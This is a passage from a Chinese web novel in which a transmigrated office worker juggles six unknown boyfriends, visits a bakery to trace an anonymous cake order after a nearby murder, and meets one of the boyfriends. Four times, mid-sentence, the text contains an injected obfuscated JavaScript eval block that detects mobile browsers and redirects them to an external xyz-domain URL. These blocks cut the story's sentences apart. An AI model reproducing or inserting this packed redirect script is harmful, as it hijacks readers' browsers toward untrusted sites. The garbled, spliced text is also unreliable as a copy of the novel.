转身回房时,元舒环顾四周,总感觉客厅也有股视线正如影随形地跟着他。 还是要找机会清理一下房子,或者……换一套房子住,不然太危险了。 元舒重新回到房间,把门反锁,关灯躺在床上,用被子把自己裹紧,打算入睡时,一声“嗡——”的震动把他惊醒。 是放在床头的旧手机。 元舒侧身,赶忙打开,只见聊天页面弹出了五条信息。 夏扬:好呀~学长什么时候有空,我们可以一起见面[小狗转圈] 谷郁浸:马上回来。 柴玉树:你想什么时候见面呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239156|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我很想你。 崔度:抱歉,宝宝,我会尽量在月底赶回来见你。 明飞尘:现在也可以。[腹肌图] 元舒:“……” 元舒闭上眼睛,躺回床上,几分钟后,拿起新手机,打开备忘录开始进行分析记录。 经过聊天记录分析,加上邬从律,这五个人的信息是: 选项a:冷酷无情的加班狂魔上司——邬从律。 ……没什么好记录的,上班天天能看见,多注意。 选项b:阳光开朗的奶狗学弟——夏扬。 好像是同校学弟,今年才十九……太小了,元舒恶寒,只觉原主口味实在是令人无语。 选项c:性情古怪,并且正在出差的男同事——谷郁浸。 写到这里的时候,元舒不由握紧了拳头,原主是不是脑子有病,既勾搭上司,又和男同事暧昧,是生怕不会翻车吗? 出于这一点,元舒对邬从律以及谷郁浸是杀人犯的几率拔高了一点。 选项d:花枝招展的相亲对象——明飞尘。 发腹肌图的男人,朋友圈也都是豪车与各种高档活动,疑似富二代。 选项e:可靠健硕的年上叔叔——崔度。 翻看聊天记录,有健身照片,肩宽腰窄,肌肉发达……元舒估摸着,一拳能把十个他打飞。 崔度经常出差,且一出差就开始联系不上人。 对方工作种类似乎需要严格保密,但这也说明了对方有疑点,毕竟现在的社会工作大部分透明化,有什么工作需要一年级十二个月有八个月需要保密呢?难道是杀手吗? 元舒给他标了重点标记。 选项f:脾气温柔的花店老板——柴玉树。 元舒出乎意料地对这个人有印象,因为在他穿莱这个世界之后,每隔一天,就会有外卖小哥专门在中午给他送来一束包装好的鲜花。 每次鲜花的品种都不一样,且意外地搭配清新而美丽,元舒还以为是原主有订花的习惯,结果是“男朋友”献的殷勤。 分析完这六个人,时间已经走到了凌晨三点,元舒再也撑不住,倒头睡下。 翌日一早,元舒在闹钟尖锐的铃声中掀开沉重的眼皮,艰难地从床上爬起来,洗漱换衣吃早餐。 这一次他出门前带了一把剪刀放在包里,并且把旧手机也带上了。 把门反锁,元舒下意识扭头看向斜侧面的邻居大门——没人出来。 元舒拿出手机看了一眼时间,又翻到昨天晚上给王佩佩发的消息,至今没回。 王佩佩是个话痨,按理说不会那么久不回消息。 元舒莫名有种不祥的预感,但昨天发生了杀人案,整栋楼今天都静悄悄的,并没有多少人赶着上班上学……或许王佩佩被吓到了,临时去朋友家里住几天呢? 外面没有下雨,出了些太阳,元舒拿着伞和背包乘坐电梯下楼。 这一次,来到楼下时,没有奇怪的男人,路过那条巷口,也看不到围着的警察与血迹,天气晴朗,鸟雀在枝头跳跃。 元舒迈步往前,走向地铁站的方向。 天塌下来,社畜还是得上班。 5. 第二个男朋友 没有雨天的烦恼与突发事件,元舒顺利在八点五十五分打卡成功,坐到了工位上。 只不过看见他来,同事们都投以惊讶的目光。 “你怎么来了?你不是昨天加班回家意外摔伤了吗?经理都给你请了工伤假了。” 邻桌的同事探头看他,视线扫射着他的身体,“你看上去……情况还不错?” “……” 元舒完全没想到邬从律会帮他报工伤,因为这太不资本主义了。 不过有假不放王八蛋。元舒立刻微微弯下腰,拧紧眉头,装出虚弱的模样,说:“我想到今天有份文件没发给客户,所以过来发一下,免得影响你们的工作进度。” 说话间,元舒解开自己右手的袖扣,露出小臂上斑驳的伤口,周围好奇、打量、探究地看过来的员工见状,皆是一愣。 自手腕往上侧边,雪白的皮肤上布满了青紫色的淤痕,腕骨与手肘凸起的骨头细而脆弱,仿佛随意就能折断。 白玉有瑕,大概就是形容他们现在看到的画面了。 同事们登时面露同情,纷纷出言安慰。 “怎么伤成这样?去看医生了吗?” “你不该来公司的,发送个文件而已,打电话叫我们做就行了。” “听说淮水区昨天发生了命案,你不会被杀人犯尾随了吧?” “天啊,你这伤得好重。” 坐在元舒邻桌的同事更是说:“你快去医院吧,伤筋动骨一百天,你这手臂的伤看上去也太严重了。” 元舒做够了样子,把袖子从手肘处撸下,重新扣上扣子,垂着眼眸道:“还好,就是腿也受伤了,走路还有些疼。” 这话一出,在场的人赶忙催促他去医院,还有好心的同事把自己热腾腾的早餐递给他,“吃了没?我这里有豆浆和包子,你吃饱点。” 元舒作出可怜的姿态,垂着眼睫,感动地说:“谢谢大家,辛苦你们替我工作了。”点奶茶就算了,请假已经损失了一天的工资。 “没事没事,你快去医院吧,注意身体。”大家冲他挥手。 元舒用右手扶着自己受伤的左臂,背着包“黯然”离场。 “嗒。” 打火机□□脆地点燃,指头大的火苗浮现在金属口上,点燃细长的香烟,星火在烟头亮起,在雾气飘荡之前,火苗先一步在操纵者的手中消失。 邬从律站在落地窗前,食指和中指夹着那根对他来说过于小巧的女士香烟,薄唇张合,吐出轻薄的烟雾。 他注视着高楼之下,那道小小的身影进入出租车。 落地窗隐约映照出那双烟灰色的眼瞳,冷漠而肃然。 “元、舒。”邬从律的舌头在口腔里轻轻弹动落下,念出这两个名字时,像是在诉说对情人的爱意。 “会去哪儿呢?” 指尖微微弹动,烟灰如雪一般散落,高大的男人转过身,将手里的香烟摁灭在桌面的烟灰缸里。 “事情变得有趣起来了。” - 元舒浑然不知潜藏着的危险,此时,他正拿着贺卡,对着司机念出自己的目的地:“师傅,去江平路42号甜蜜蛋糕店。” “好嘞。” 司机应声,调转方向。 元舒靠在后座椅背上,垂下眼睫看自己手里握着的蛋糕贺卡。 贺卡昨天被他揉皱了,但还是能看清楚上面写着的字以及左下角的logo——甜蜜蛋糕。 他不打算去医院。没有骨折,手臂的淤青他用药酒擦一段时间就能好,现在当务之急是要去找到那个成为了杀人犯的“男朋友”,保证自己的生命安全。 元舒有考虑过要不要报警,但是介于昨天在房间里面发现的监控,他认为还是先稳住凶手,免得对方狗急跳墙。 真是倒霉…… 元舒仰头靠在椅背上,闭上双眼,睡眠不足以及过度的思考让他的太阳穴隐隐作痛。 他还没有回复那五个人的消息,一是不知道怎么回复,怕露馅儿,二则是他有种隐隐的恐惧与不安,总感觉回复了消息之后,对面的人立刻就会找上门来,所以干脆置之不理。 可这只是权宜之策,他不可能一直不回消息,而且……他必须要解决了六条船,和他们分手,否则谁知道找到了凶手之后,下一个“男朋友”会不会又因爱生恨,成了新的凶手。 原主可真是给他留了一个……不,六个定时炸弹。 “小哥,到了噻。” 车突然停下,惯性令元舒不由往前倾倒。 他坐稳,抬头,就看见司机师傅拿着二维码,扭身看向他,“25块。” “……” 一时不察,这司机的打表器居然跳得那么厉害!不到五公里居然要收25! 元舒咬着牙付出了今天第一笔巨款,气得都没心情烦了,只想一拳打爆这个世界,打爆那个害他一大早就丢了25块钱的脑残男朋友! 千万别让他逮到,否则他一定让对方的脑袋开花。 元舒气呼呼地下车,把车门甩上。 司机撇了他一眼,哗啦一下就把车开走了,留下元舒仰起头看向面前的店铺牌匾——用粉蓝色调的背景颜色,圆润的字体上面写着“甜蜜蛋糕”四个字,旁边还画着一个三层的q版生日蛋糕。 看上去非常地童趣、可爱。 不仅如此,元舒在推门进入蛋糕店时,发现里面的装饰也非常地可爱温馨,墙面是米白色,上下各贴了约三十公分的条纹装饰壁纸,每个条纹里还画着小熊、小兔子、小乌龟的装饰。 这装饰莫名有些眼熟,元舒想起来自己昨晚回家的路上,看见一家玩具店的橱窗外就摆着这些小动物,仔细看,居然一模一样。 “欢迎光临甜蜜蛋糕店,面包新鲜出炉,蛋挞好吃美味,蛋糕随时可以定制哦~” 前台,穿着咖色围裙的男人低头整理着手上的单子,口中念出欢迎的话语。 这些话在他戴着的麦克风的传播下,回荡在店里,格外清晰。 在麦的尾音消失之前,对方抬起头,看向了元舒,男人长着一张秀气文弱的脸,表情温柔。 他显然对元舒的到来有些惊喜,弯起眼睛,喊道:“元先生,您今天怎么有空来了?” 这个人认识原主。 元舒上前,对着他笑了一下,“我来找你问点事情。” “什么事?坐下来说吧。”男人对着元舒说,“刚好店里刚做了新品面包,你吃早餐了吗?我给你切一点试试吧?是你喜欢的口味。” 他的殷勤与不加掩饰的好感让元舒感到不妙,这人不会也是他的“男朋友”之一吧? 元舒视线落在对方左胸戴着的工牌上——店长:柯文昊。 “谢谢你,柯先生。”元舒试探着用生疏的语气叫。 柯文昊没有特别的反应,只是点头笑了一笑,说:“没关系,毕竟你是我们店的忠实客户。”然后就转身拿着托盘去夹摆放在玻璃柜里面的面包。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239157|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元舒松了口气,看来对方并不是他的男朋友,不过看样子,双方关系也还不错,等会儿问话应该比较简单。 柯文昊夹了两个面包,一个新品菠萝布丁奶酪面包以及一个巧克力核桃马里奥,他切成可以用小叉子插起来的大小,端到了元舒面前,还贴心地用一次性纸杯倒了一杯常温牛奶放在了旁边,怕元舒呛到。 “试试吧。” 柯文昊双手交叠靠在桌面,看着元舒,眼神专注。 元舒被他细心的举动所打动,一时间也不好着急地问问题,而是用小叉子插起面包放入口中。 如柯文昊所说,是他喜欢的口味。 酥脆的外壳和温热柔软的面包内囊,夹杂着菠萝果肉和一触即化的布丁奶酪,或许对于别人来说过于甜了,但对元舒来说,恰到好处。 再吃巧克力核桃马里奥,依旧好吃,有着巧克力的醇厚与苦涩的香味,核桃碎带来了额外的咀嚼感和味道,但是比起菠萝布丁奶酪面包,元舒还是更喜欢前者。 “我就说你会喜欢。” 看见面前的青年不由自主眯起眼睛,享受美食的样子,柯文昊抿唇一笑,又把牛奶推过去,“我没有加糖,不然就太甜了,还是需要少摄入一些糖分。” “是啊,但是不吃甜的就没动力上班了。”元舒喝了口牛奶解腻,上唇留下一点白色的痕迹,他伸出舌头舔去。 淡红色的舌尖仿佛蛇尾般扫过唇珠,留下一点湿润的痕迹,柯文昊慌乱得垂下眼睛。 “怎么了?”元舒看见他的表情,疑惑。 “没什么。”柯文昊连忙转移话题,“今天是周二,你不上班吗?” “请假了。” 元舒想到自己的来意,放下手里的小叉子,“你知道,昨天是谁给我定了蛋糕吗?” “订蛋糕?”柯文昊讶异,“没有啊。” 说完,他想起什么,“不过昨天下午我没在店里,可能是店员接单了也说不定,我可以查查。” “好。”元舒看着他起身,连忙跟过去。 柯文昊站在前台里面,用鼠标点开屏幕开始查询订单,元舒则是站在台外探头往里面看,一前一后,距离近在咫尺。 元舒专心看屏幕,浑然不觉柯文昊的耳根开始发红。 “诶在这里……”元舒看见自己的住址,眼睛一亮,踮起脚尖,更加往前探头看去。 但是下一秒,店门被推开,风铃声发出清脆悦耳的“叮铃”声,柯文昊下意识抬头望去,脸色骤然一变。 元舒发觉他的异样,正要扭头看去,肩膀上却搭来了一只手。 那只手掌心宽大,手指修长,骨节分明,手背上的青筋脉络微微鼓起,中指上戴了一个银色的五芒星戒指,翡翠绿的宝石镶嵌在其中,在蛋糕店内的灯光下闪着璀璨的光芒。 对方弓下腰,另一只手的手肘撑靠在桌台,侧头冲着元舒翘着唇角打招呼。 “hi,宝贝~” “……” 元舒眼瞳微动,打量着身旁搂着自己肩膀的男人。 对方穿着V领长袖黑T,脖颈戴着一根细细的蛇骨链,咖色至锁骨处的微卷发,深褐色的眼瞳,五官英俊,上挑的丹凤眼,帅里带着点邪气。 他亲昵地靠近元舒,贴了一下脸颊,甜腻腻地喊:“你是因为知道我今天要来上烘焙课,所以特地来找我的吗?” 男人暧昧的冲他眨眼:“早知道,凌晨那会儿,我就该开车去找你了~” 6. 第二个男朋友 凌晨、开车、找,这三个词语加上身旁男人对他过于亲昵的举动,元舒几乎是立刻就确认了对方的身份——明飞尘。 他的男朋友之一,也是昨天半夜回消息时给他发腹肌照的富二代。 只是,烘焙课?还是在甜蜜蛋糕店里学烘焙? 想到昨天的外卖蛋糕,元舒用怀疑的目光打量着对方,谨慎地没有开口说话。 “哎呀呀,干嘛用这种目光看我?”明飞尘翘起唇角,用夸张欢快的语气道,“真是看得我心软了。” 他勾起食指,用指背刮了刮元舒的鼻尖,见对方下意识缩着脖子闪躲时,笑眯眯地说:“虽然我经常三天打鱼,两天晒网地上课,但是为了在你生日当天,给你送一个我亲自做的蛋糕,我也是有认真付出努力的好吗?” ……原来是为了下个月的生日惊喜做准备,只是这惊喜未免也太透明了。 不过,明飞尘在甜蜜蛋糕店里上烘焙课? 元舒提起心,警惕着,面上却顺着他的话说:“真的吗?” 这话一出,明飞尘脸上的笑微顿,随后眼睛若有所思地看着面前的元舒。 青年今天穿了身柔软宽松的薄款米白色针织防晒长袖,搭配卡其色的长裤,整个人看上去温柔又好闻,像是散发着稻草香气。 白而小巧的脸,杏眸水润,微微抬着眼睫看人,睫毛细密纤长,偷摸着看人的样子真是……十分可口。 明飞尘感到了牙痒。 “当然是真的,你怎么能怀疑我对你的真心呢?” 他干脆利落地张开双手,把人搂进怀里,紧紧抱住,像条狗一样鼻尖在青年雪白细腻的脖颈皮肤上蹭动、嗅闻。 比想的还要香。 元舒被他抱得猝不及防,还没来得及推开,就感觉到对方的呼吸后,顿时更是毛骨悚然,有种自己被“吸”了的感觉。 “不要抱我,很热。”元舒双手抵在明飞尘的胸前,手指又碰到对方v领T恤下的胸肌,手指仿佛都在发烫。 “看我爱你的心多么灼热啊~宝宝~” 明飞尘故作的夹子音听得元舒一阵恶寒,挣又挣不开,几下之后,不知不觉开始生气。 他停下动作,仰起头看向对方,企图让对方感觉到他的恼怒,但明飞尘低头看他,只觉得好玩。 “咳咳……明先生,烘焙课还有五分钟就要开始了。” 柯文昊的声音打断了明飞尘和元舒的对视。 与此同时,元舒趁着明飞尘扭头看向柯文昊时动作的松懈,赶紧挣脱了对方的怀抱,走离了两步,松了口气。 “真讨厌上课啊。”明飞尘没在意元舒的逃跑,双手插兜,摇头道,“但是为了宝宝,一切都值了。” “……” 好肉麻,好恶心的话。 元舒现在非常迫切地想要分手。虽然以前曾经幻想过脱单后的生活,但感觉如果不分手,以后带明飞尘出门会很丢脸。 当然,如果明飞尘是杀人犯,那就既丢命又丢脸了。 想到这里,元舒不禁踮起脚尖探头又往前倾倒,朝电脑屏幕看去。 “查到了吗?” “查什么?” 明飞尘见状,眉头一挑,长手一伸,揽住他的腰,把人从桌边捞回怀里,慢悠悠地说:“刚刚在门外就看见你们靠在一起看电脑屏幕,那么亲密,我都要吃醋了……原来是在查什么东西吗?说来听听,说不定我能帮上忙。” 元舒靠在他怀里本来打算挣扎,闻言停下了动作。 明飞尘这态度……不像是给他定了蛋糕的人。 柯文昊则是解释:“昨天有人给元先生在店里定了蛋糕,但没有署名,所以元先生想让我帮忙查一查。” 话罢,他弯下腰,点开方才的页面,“我查到了,号码是1843**-*4816,名字是:吴先生。” “吴先生?”明飞尘低头看元舒,捏了一下他的脸颊,“又是在哪里惹的情债?” “……我不知道是谁给我订的,我不认识。”元舒一边回答着,一边查手机联系人里是否有这个号码存在。 他想起昨天在房间里发现的监控摄像头,摄像头就是藏在了小熊挂钩里面。 元舒连忙问柯文昊:“可以打电话问一下吗?” 柯文昊有些犹豫,按理说是不可以泄露客户隐私的,可元舒就这样用可怜的眼神看着他,他无法开口拒绝,所以最后还是点头同意:“可以。” 柯文昊拨打了电话。 元舒紧张地等待着。 被忽略的明飞尘靠在一边的桌柜,视线落在元舒身上,从上到下,一寸一寸地扫过,元舒被他看得如芒在背,又因为电话免提的“嘟嘟……”声而感到紧张。 紧张到一定程度,元舒甚至开始绷紧了身体,幻想,如果明飞尘在一瞬间暴起,他要怎么逃离这家蛋糕店离开。 “您拨打的电话号码已注销,请确认号码后重试。” 特定的电话女声一出,元舒提起的心一下子猛地从高处砸落。 “注销了?” “对。”柯文昊觉出不对劲,仔细看了一下地址,眼中闪过诧异:“元先生,您住在淮水区吗?昨天那里不是发生了命案?” 元舒不免失落,心不在焉地嗯了一声。 他还以为来蛋糕店能找到一点线索,但是没想到对方早就做好了准备,现在只能无功而返……也不算无功而返,毕竟见到了明飞尘,知道了第二个男朋友长什么样子。 “命案?” 明飞尘皱眉,“什么命案?” 元舒睨了他一眼,见他一无所知的样子,奇怪:“你不知道吗?”按理说新闻应该推送给每一个手机用户了。 “我不知道啊,我前天飞去潜水了,昨天才回来,睡了一天,今早醒了就来上课了。”明飞尘无辜地说,“而且淮水区离我太远了,我住碧湾园。” “……” 碧湾园是当地最贵的别墅区,江景房,景色优美,里面面积最小、位置做不好的别墅价格就上千万了。 元舒恨有钱人。 “不如宝宝你搬来跟我一起住吧?”明飞尘勾起他的下巴,“之前邀请你你就不同意,现在为了生命安全着想,过来住一段时间也挺好的,谁知道那疯子是不是盯上你了。” 元舒心想,你是不是那个疯子还不一定呢。 “不用了,我上班不太方便。”元舒找理由拒绝。 明飞尘就像所有男人大放厥词:“不上班也可以,我养你。” 元舒没理他,无论男女,把希望寄托在另一半身上就是自掘坟墓。 “……可是你独居在命案现场附近,也太危险了。” 柯文昊不比明飞尘的满不在乎,他担忧地看着元舒,居然劝元舒,“元先生,不然你还是去明先生的家里住几天,等警察把事情查清楚,抓住凶手再说吧。” “没事,可能是哪个朋友记错了我的生日,给我订的蛋糕吧。”元舒安慰他,“有事我会及时报警的。” 柯文昊欲言又止,元舒见他神情不安的模样,顿感暖心,而一旁的明飞尘看着两人的互动,脸上的笑没有变,眼神却慢慢冷下来。 于是下一秒,明飞尘突然抓住了元舒放在台面的手腕。 元舒诧异望去,就见身旁的男人弯着眼睛,有点阴森森地笑了。 “太危险了。” 明飞尘握着他的手贴近自己的脸,柔声说:“不如我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239158|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在就去查一下监控,昨天到底是谁给你定了蛋糕吧?说不定我们还能帮助警察抓捕罪犯呢。” “……” 元舒看见明飞尘这副样子,寒毛直立,但这句话提醒了他,不过柯文昊要查监控也需要时间,况且蛋糕店也还在开张。 思来想去,元舒问道:“我等下可以坐在这里看监控吗?没看完的监控,我们可以加个联系方式,你把监控传给我吗?我保证不会泄露出去。” 柯文昊颔首:“可以。” 两人顺利添加了好友,不一会儿,一楼右侧边的楼梯就走下来一个戴着围裙的中年女人,朝着他们这边喊:“已经开始上课了,明同学?” 最后那句声音明显弱了下来,元舒奇怪地回头,就看见一直笑眯眯的明飞尘突然冷下脸。 “……你怎么了?”元舒小心翼翼问。 “没什么。”明飞尘淡淡道。 说完,在楼梯上的中年女人的催促下,他往前走了几步,但只是走了几步,他就停下来,回头看向呆站着满脸疑惑不解的元舒。 明飞尘眯起眼睛:“送送我吧,宝宝。” “……” 虽然不知道上个楼要送,但元舒看明飞尘的情绪似乎不太对,所以还是点头应好,跟了上去。 两人一前一后上了楼梯,在转角处时,明飞尘靠在了墙上,侧头垂眸,看向落后他一个阶梯的元舒。 “怎么了?”元舒不明所以,抬起的脚还是落在了与明飞尘同一个阶梯。 明飞尘歪了下头,对元舒露出一个灿烂的笑,然后下一秒,迅速变脸。 他伸出手拽住元舒垂放在身侧的手臂,猛地将人拉拽进怀里,再转身压在墙上,动作之快,快到元舒根本来不及反应,瞳孔紧缩,眼睁睁看着他低头凑过来,咬住了自己的脸颊。 这还不止,在元舒难以置信的目光下,明飞尘松开嘴,心情像是突然变好,翘着唇角对元舒轻声说:“我提醒过你了。” 提醒什么? 元舒还没想明白,明飞尘就又低头朝他咬过来。 这次男人对准的位置是唇珠,咬的力气又凶又狠,元舒吃痛,下意识反抗,双手却连同身体一起被摁住。 元舒疼得不由张开嘴吸气,只一秒,他就后悔了。 因为他给了明飞尘入侵的机会。 明飞尘松嘴,舌尖舔过咬出齿痕的唇珠,滑入柔软温热的口中。 舌头进得很深,与企图逃跑的舌纠缠在一起,恨不得咬断吞下。 腰间勒紧的手也作出了警告,元舒不得不放松紧绷的身体,隐忍地张开唇,任由面前这个恶霸亲吻,直到对方满足。 “元先生?明先生?你们怎么了?” 楼下传来柯文昊疑惑的询问,伴随着挪动东西后的脚步声,元舒生怕对方看见这一幕,脸颊涨红,恼怒地瞪向明飞尘,希望这个人适可而止。 可谁知道,明飞尘在察觉到元舒的紧绷不安时,更是恶劣地汲取对方口中来不及吞咽的液体,之后在柯文昊踏上楼梯的一瞬间,留下轻微的、唇舌分离时带来的、能在这楼梯角落听得清清楚楚的响声。 柯文昊像是明白了什么,没有再往上走。 元舒大力推开明飞尘,用袖子擦掉自己唇上的水渍。 “你发什么神经?!”元舒压低声音骂。 他眼角微红,发丝凌乱,右边脸颊带着淡淡的齿痕,柔软的唇红得像是被狠狠蹂躏疼爱过,就连领口也因为挣扎而掉下来些许,露出精致白皙的锁骨。 明飞尘用舌头顶了一下上颚,压抑住突如其来的渴望,重新笑起来。 他给出了回答:“我不是跟你说过了吗?宝宝。” “我吃醋了。” 7. 第二个男朋友 吃醋? 元舒缓了半天才想起来明飞尘进门时说的那一堆垃圾话里面的一句“吃醋”。 他难以置信地看着明飞尘,“就因为这个?你就……”手上下比划,最后羞恼地捂住自己的嘴,用控诉的眼神表达自己的不满。 这可是他的初吻!而且还在外面,随时都能被如发现的楼梯角落……不对,已经被发现了。 听到声音,本来打算上楼查看的柯文昊此时已经没有再过来,也没有发出任何声音,大概是回到了蛋糕店的柜台前。 明飞尘面对元舒的羞愤,不以为耻,反以为荣。他翘着唇角说:“是的哦宝宝,所以你要好好注意……” 他弯下腰,靠近元舒,丹凤眼弯起,欢快的语气变得低哑。 “你可别被我抓到脚踏两条船,否则,我不知道自己会做出什么事情来。” “……” 这下轮到元舒心虚了,这可不是两条船能说清楚的事情。 见人被自己吓到,明飞尘伸出手,揉了揉元舒的头发,调侃道:“亲一下就那么害羞,以后可怎么办啊。” “……” 元舒拍开他作乱的手,严肃着一张脸,哪有什么以后,等排查清楚谁是杀人犯之后,他就要和所有人分手! “好了,别生气了。”明飞尘哄他,“你不就是想查清楚那个给你订蛋糕的人是谁吗?要是店里监控查不到,我帮你问问不就好了。” “你怎么问?” 元舒险些翻白眼,但下一秒,他就愣住了。 因为他看见明飞尘脸上露出轻松的笑容,暗示地冲他挑眉。 “没错哦,宝宝,我有关系,也有钱。” 明飞尘搂着他的肩膀继续往楼上走,一边走,一边在他耳边说:“想认识一下顶级黑客吗?还是想去警局逛一下吗?” “……” 该死的资本世界。 元舒屈服了。 - 由于明飞尘强烈表示自己要认真上课,元舒不得不咬着牙等他上完课,再让对方带自己去追查订蛋糕的“吴先生”的信息。 坐在烘焙教室的窗边位置,元舒一扭头,就能看见窗外的大树垂落的绿叶,以及正好的阳光,微风抚过,就连噪音都成了惬意生活里的一部分。 只是他没发现,他自己在看风景时,自己也成为了风景的一部分。 靠坐在窗边,皮肤白得像透着光,纤长的睫毛微垂,撒上金光般,让人想要抚弄。 元舒低头看手机里的屏幕时间,发现现在才十点半,时间居然过得那么慢,如果在上班,估计开个会转头就十点半了。 “做得不错。” 旁边传来中年女人温和的夸赞,元舒下意识抬头望去,就看见烘焙老师龚老师正微笑着夸赞一名学员。 阳光落在女人身上,将她温柔、和蔼可亲的神情变得更加柔和,深褐色的眼睛平和而充满力量,让人感觉到一种类似于母亲的慈爱感。 被她称赞的学员不好意思地笑了下,但显然十分高兴。 “龚老师很厉害吧?”右侧不远处正在戴手套的女生笑着和元舒搭话。 她穿着一身简单的T恤和黑色花苞裙,戴好粉红色格子手套,准备把还剩下一分钟烤好的曲奇从烤箱里面拿出来。 元舒点头应:“是挺厉害的。” 以旁观的角度看,龚老师总是游刃有余地走动在每一个学生身边,教导他们如何精准地进行配料调配以及用奶油裱花。 并且龚老师从没有对任何一个人不耐烦过,甚至夸赞更多,看得元舒也觉得,如果有空暇时间,也可以报名烘焙课程,学习一下如何制作甜点,以后休假就可以在家里面自己做。 “龚老师之前可是五星级豪华餐厅的专属甜品师。”女生眨眨眼,跟他低声八卦,“要不是因为她女儿产后抑郁,她也不会辞职回来在店里面开烘焙课。” “产后抑郁?”元舒怔愣。 “对啊,生育真是女人的一大生死门槛,跨过去了,还有更多的难题。”女生说着叹口气。 元舒不禁问:“她女儿现在怎么样了?” “上个月跳楼自杀了。” “……” 女生面露怜悯:“龚老师因此还停课了一个月,甜蜜蛋糕店也是停工了,都是前几天才重新开业。” 元舒抓住重点:“这和蛋糕店有什么关系?” 这下轮到女生惊讶了:“你和柯店长关系那么好,就连明飞尘这种富二代都因为你的推荐来了这里学习烘焙课,你居然不知道龚老师是柯店长的妈妈吗?” “……我忘记了。” “忘记什么了?” 明飞尘打断了两人的谈话,元舒侧头,看见他端着烤好的纸盒蛋糕走过来,蛋糕散发着松软的鸡蛋甜香,随着走动,越出纸盒的一部分蓬松蛋糕胚正在小幅度地跳跃着,热气腾腾。 元舒见他的视线落在女生身上,生怕他又乱吃飞醋,解释了一句:“谈了一下龚老师做蛋糕很厉害。” “是还不错。”明飞尘把手里的银托盘放在桌上,一边拿起铁尺般的长刀切割蛋糕胚表面,“就是太固执了,我想花钱让她到家里面教我都不愿意,就硬要留在这里。” 明飞尘埋怨:“连用个烤箱都要排队的小店面。” 顺带说肉麻话:“如果不是因为你,我才不会来这里上课呢。” “……” 元舒神奇地发现自己竟然对这些话毫无任何反应,已经免疫了。 看来人的承受力还是太高了。 他看向女生,被打断谈话后,对方没有继续跟他交流,而是去端出了烤好的曲奇,显然不想在别人面前过多谈论自己的老师。 “发什么呆?” 鼻尖被轻轻蹭了一下,元舒惊讶地抬起眼睫,发现自己的鼻尖上有一块白色的东西,在看面前——明飞尘正伸着食指,朝他左右摇晃,而食指的指腹上正粘着白色奶油。 “你干什么啊!幼稚鬼。”元舒赶忙拿纸巾擦掉。 明飞尘可惜:“要是在家里就好了,我还挺想吃的。” “……无论是在哪里,想都别想。” 元舒警告他:“不要再在外面乱来了。” 天知道他顶着一张带着齿痕的脸颊有多么羞耻,刚跟着明飞尘进入教室时,不少人都朝他投以暧昧调侃的目光。 要不是为了明飞尘口中的“调查”,他才不会留在这里。 一节烘焙课的时长是一个半小时,元舒坐在这里时,已经把柯文昊发过来的蛋糕店内昨天监控录像看了一遍,又过了两遍,发现并没有任何奇怪的人出现在店里面,而蛋糕订单也证明了一点——吴先生是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239159|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通过外卖下单,甚至是前天凌晨下的外卖预订单。 所以说,昨天发生的一切都是有预谋的,而不是临时起意。 每每想到这一点,元舒心里都爬上了一股寒意。 他知道,明飞尘说的话很有可能是骗他的谎言,但对方确实是他的男朋友之一,无论如何,他后续肯定会需要对明飞尘展开了解和调查,再排除嫌疑。 因此,为了小命着想,元舒都一定会利用明飞尘手里能进行调查的资源。 想到这里,元舒不由看向明飞尘。 这个富二代似乎与大众眼里认为的富二代有所不同,退一步来说,太接地气了。 当初原主和对方究竟是怎么谈上恋爱的?元舒想不明白。 “想吃蛋糕了吗?” 明飞尘像是察觉到元舒的目光,手里还挤着奶油,却对他笑道:“给你用奶油做一朵玫瑰花好不好?” 元舒视线落在他手里的小蛋糕上,调色好的奶油泛着淡淡的粉,看上去美味又好看。 有点馋了。元舒不由自主点头。 得了肯定,明飞尘开始认真裱花。他穿上咖色的围裙,腰间绑着系带,肩宽腰窄,一双长腿随意立着,在这间不到百平的烘焙教室里格外瞩目。 元舒撑着下巴等待,直到那朵与众不同的玫瑰出现在他面前。 嗒嗒。 很轻的脚步声,又出现了。 